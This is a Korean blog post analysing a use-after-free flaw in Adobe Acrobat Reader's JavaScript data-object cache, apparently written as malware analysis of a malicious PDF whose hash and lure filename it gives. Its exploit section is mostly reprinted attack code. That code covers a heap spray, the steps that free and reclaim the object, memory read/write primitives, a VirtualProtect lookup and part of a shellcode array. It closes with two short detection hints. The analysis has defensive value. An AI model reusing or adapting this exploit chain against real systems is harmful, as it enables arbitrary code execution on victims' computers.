Details
Adobe Acrobat 및 Reader 버전 2020.009.20074 이하, 2020.001.30002, 2017.011.30171 이하, 2015.006.30523 이하에는 use-after-free 취약점이 있다. 악용이 성공하면 임의 코드가 실행될 수 있다.
CVSS 3.x Severity and Metrics
NIST: NVD
기본 점수: 7.8 높음
벡터: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Use-After-Free
JavaScript 기반의 공격으로 해제된 메모리 영역에 다시 할당하여 재사용 함으로써 생기는 문제이다. 프로그램을 충돌하게 만들고 취약한 프로그램에서 임의의 코드 실행해 악의적인 행위를 수행한다.
Analsys
Adobe Acrobat Reader는 SpiderMonkey를 기반으로 하는 JavaScript Engine이 있으며, EScript.api
모듈을 통해 PDF의 JavaScript 코드가 처리된다.
JavaScript Engine은 ESObjects
와 JSObjects
등의 Object를 사용한다. ESCript.api
내부에ESObjects
가 있고, 그 중 data ESObjects
는 파일 및 데이터 스트림을 나타내는 Object type이다. data ESObjects
는 아래의 key로 식별된다.
PPDoc Pointer
ESObject Name
PPDoc는 PDF 문서를 나타내는 개체이고, ESObject Name은 파일 이름을 ANI 또는 UNICODE로 인코딩한 문자열이다.
- Insert and Delete data object in Cache
PDF 문서에 원래 인코딩된 타입을 기준으로 해당 문자열은 인코딩된다. data ESObjects
는 캐시에 저장되고 포인터 값을 반한받는다. 그리고 새로운 data ESobjects
를 추가하고자 할 때 이름을 기준으로 캐시에 검색하여 동일하면 포인터를 반납하고, 없으면 새로운 data ESObjects
가 생성되어 캐시에 추가된다.
data ESobjects
가 삭제될 때 UNICODE로 인코딩한 이름을 추적하여 삭제하되기에 취약점이 발생한다. ANSI로 인코딩한 data ESObjects
를 Cache에서 삭제하면, UNICODE로 검색하기에 정상적으로 삭제되지 않고 포인터가 유지된다.
- Try to insert new data Object in Cache
그래서 삭제하였던 것과 동일한 이름의 새로운 data ESObjects
를 생성하려고 하면 이전의 포인터를 반환한다.
Exploit
예제 샘플 정보는 다음과 같다.
MD5: 70294AC8B61BFB936334BCB6E6E8CC50
파일 명: 제4기AMP 안내자료.pdf
위의 PDF에서 아래의 그림과 같이 스트림에 숨어있는 Java Script를 추출한다.
추출한 스크립트 중 일부이다. Base64로 난독화되어있다.
- MD5: A269D2E34637F1D31CAC8E458D1F0657
디코딩하면 JS로 나타난다. 해당 스크립트를 기준으로 익스플로잇 코드를 볼 예정이다.
- MD5: 7B478365564D665B06090DACA6ABC917
1. ArrayBuffer Spray
Heap Spray 기술인 프로세스 내에 큰 사이즈의 메모리를 할당하고 그 곳에 익스플로잇을 한다. 먼저, ArrayBuffer
를 통해 제어할 수 있는 메모리 영역을 할당한다. 그리고 DataView
객체를 사용하여 할당된 메모리를 읽고 쓴다. 이때, 할당되는 메모리는 Heap memory로 힙 세그먼트의 크기인 0x10000바이트와 동일한 크기를 가져야한다. 그리고 ArrayBuffer의 Metadata(0x10)와 Heap Chunk 크기(0x8)를 고려해야한다. 그래서 Heap Spray를 통해 할당받은ArrayBuffer 객체의 크기는 0xFFE8 바이트이다.
아래 코드는 JavaScript 중 일부로 힙스프레이를 통해 메모리 영역을 생성하는 코드이다. setUint32
는 Array 객체를 생성할 때 내부 구조를 만들기 위해서 사용되는 것으로 전해진다.
var m = new Array(0x3000);
var m1= new Array(0x1000);
for(var i = 0; i < 0x1000; i++){
m1[i] = new ArrayBuffer(0x100);
var dv1 = new DataView(m1[i]);
dv1.setUint32(0,0x41424241,true);
dv1.setUint32(4,0xffffff81,true);
}
for(var i = 0; i < 0x3000; i++){
m[i] = new ArrayBuffer(0xffe8);
var dv = new DataView(m[i]);
dv.setUint32(0,0x41424241,true);
dv.setUint32(4,0xffffff81,true);
dv.setUint32(0x2FD8,0x30303060,true);
dv.setUint32(0x2FD8+4,0x30303100,true);
dv.setUint32(0x2FD8+0xC,0x30303830,true);
dv.setUint32(0x2FD8+0x24,0x10000,true);
dv.setUint32(0x2FD8+0x30,0x30303090,true);
dv.setUint32(0x2FD8+0x60,0x303030C0,true);
dv.setUint32(0x2FD8+0x6C,0x30303200,true);
dv.setUint32(0x2FD8+0x70,0x1000,true);
dv.setUint32(0x2FD8+0x1E9,1,true);
dv.setUint32(0x2FD8+0xD0,0x30303130,true);
dv.setUint32(0x2FD8+0x800-0xC,0x10000,true);
dv.setUint32(0x2FD8+0x800-0x8,8,true);
dv.setUint32(0x2FD8+0x800-0x4,0x10000,true);
}
2. ESObject 생성 및 해제
dataObjects
를 생성하고 캐시에 추가한 다음 삭제한다.
var fi_a = new Array(0x100);
var ba = new Array(0x300);
function p() {
for(var i = 0; i < 0x80; i++){
fi_a[i] = this.addField("Field_" + i,"text",0,[0,800,55,850]);
}
for(var i = 0; i < 0x80; i++){
this.removeField("Field_" + i);
}
for(var i = 0; i < 0x300; i++){
ba[i] = unescape("%u9584%u9584%u9648%u9640%u9648%u9640%u9648%u9640%u9648%u9640%u9648%u9640%u9648%u9640%u9648%u9640%u9648%u9640%u9648%u9640%u9648%u9640%u9648%u9640%u9648%u9640%u9648%u9640%u9648%u9648%u9648%u9648");
if(i == 0x250)
this.dataObjects[0].toString();
}
for(var i = 0; i < 0x300; i ++){
delete ba[i];
ba[i] = null;
}
this.dataObjects[0] = null;
g_timeout = app.setTimeOut("U()",10000);
}
3. DataObject에 읽기 및 쓰기
8줄에서 보는 것과 같이 해제된 ESObject 자리에 가짜 Array 객체에 대한 핸들을 획득한다. 추가적으로 VirtualProtect를 호출하여 실행할 수 있는 영역 권한을 변형한다.
function U() {
for(var i = 0; i < 0x5000; i++){
fh[i] = unescape("%u5050%u2020%u3030%u3030%u3030%u3030%u3030%u3030%u3030%u3030%u3030%u3030%u3030%u3030%u3030%u3030%u3030%u3030%u3030%u3030%u3030%u3030%u3030%u3030%u3030%u3030%u3030%u3030%u3030%u3030%u3030%u3030");
}
var cXMLDoc = "<family name = 'Robat'>\ <mom id = 'm3' name = 'Mary' gender='F'>\ <spouse> m2 </spouse>\ <personal>\ <income>25000</income>\ </personal>\ </mom>\ </family>";
var m_X= XMLData.parse( cXMLDoc, false);
var a = XMLData.applyXPath(m_X, "//family/mom");
fr = this.dataObjects[0];
this.createDataObject("abname","qwer");
var bChged = false;
for(var i = 1; i < 0x100000; i++){
if (fr[i] == 0x41424241) { //ABBA
fr[i-2] = 0;
mf = this.addField("FieldField","text",0,[0,0,10,10]);
fr[i+1] = mf;
fr[i+2] = this.getDataObject("abname");
fr[i+3] = hbf;
fr[i+4] = a;
bd = 0x30303830 + i * 8;
bChged = true;
var temp = new Array(0x1000);
for (var j = 0x1000; j >= 0; j--) {
temp[j] = new Array(0x100);
}
for (var j = i - 0x10; j >= 2; j--) {
fr[j] = new ArrayBuffer(0x1000);
}
}
ra = new Uint32Array(0x100);
fr[1] = ra;
break;
}
}
if (bChged) {
SB();
FA();
F();
Findxmlfuncar();
var tR = G();
var opCodes = new Uint8Array([0x94,0xC3]);
var oCA = SO(tR[0],tR[1],opCodes);
var f_dr = GFA(tR[2],tR[3],"Kernel32.dll","VirtualProtect");
var frontvftable = aD(ar-4);
var shellcdear = aD(bd+0x18);
shellcdear = aD(shellcdear+0xc);
var eAbf = new DataView(b,0x8000,0x1100);
for(i = 0; i<0x300 ; i++){
eAbf.setUint32(i*4,aD(xfuncar+i*4),true);
}
eAbf.setUint32(9 * 4,oCA,true);
eAbf.setUint32(0,f_dr,true);
eAbf.setUint32(4,shellcdear,true);
eAbf.setUint32(0x8,shellcdear,true);
eAbf.setUint32(0xC,0x1000,true);
eAbf.setUint32(0x10,0x40,true);
eAbf.setUint32(0x14,0x30303020,true);
eAbf.setUint32(0x1000,xa,true);
eAbf.setUint32(0x1004,xfuncar,true);
VT();
a.saveXML('pretty');
}
var dv2 = new DataView(m[fI-1]);
for(k = 0 ; k <8 ; k++ ){
var o = dv2.getUint8(k*4+3);
o = (o << 8) + dv2.getUint8(k*4+2);
o = (o << 8) + dv2.getUint8(k*4+1);
o = (o << 8) + dv2.getUint8(k*4);
dv2.setUint32((3062+k)*4, o,true);
}
}
쉘코드가 작성된다.
var s=new Uint32Array([0xEC8B5560, 0x000017E8, 0x8B615D00, 0x0CE883C5, 0x9058B894, 0x088B3031, 0x8904408B, 0x2460FF01, 0x81EC8B55,// 축약
var hbf = new ArrayBuffer(0x25000);
var dvb = new DataView(hbf);
var len = s.length;
for(var j = 0; j < len; j++){
dvb.setUint32(j * 4,s[j],true);
}
g_timeout = app.setTimeOut("p();",3500);
진단 및 치료
아래의 경우를 진단하도록 한다.
- Kernel32.dll을 로드하여 virtualProtect를 실행하는 경우
- 0x10000 크기의 메모리에 영역을 할당하는 경우
No comments:
Post a Comment